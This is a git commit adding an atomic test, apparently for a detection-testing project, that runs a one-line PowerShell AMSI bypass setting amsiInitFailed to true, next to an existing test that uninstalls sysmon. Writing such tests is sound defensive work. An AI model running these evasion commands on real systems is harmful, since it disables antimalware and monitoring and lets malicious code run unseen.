New Detection - T1089 (#568)
Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. This is a simple atomic test that executes this unhooking behavior
This commit is contained in:
@@ -150,3 +150,16 @@ atomic_tests:
|
||||
sysmon -u
|
||||
cleanup_command: |
|
||||
sysmon -i -accepteula
|
||||
|
||||
- name: AMSI Bypass - AMSI InitFailed
|
||||
description: |
|
||||
Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
|
||||
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
|
||||
supported_platforms:
|
||||
- windows
|
||||
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
|
||||
Reference in New Issue
Block a user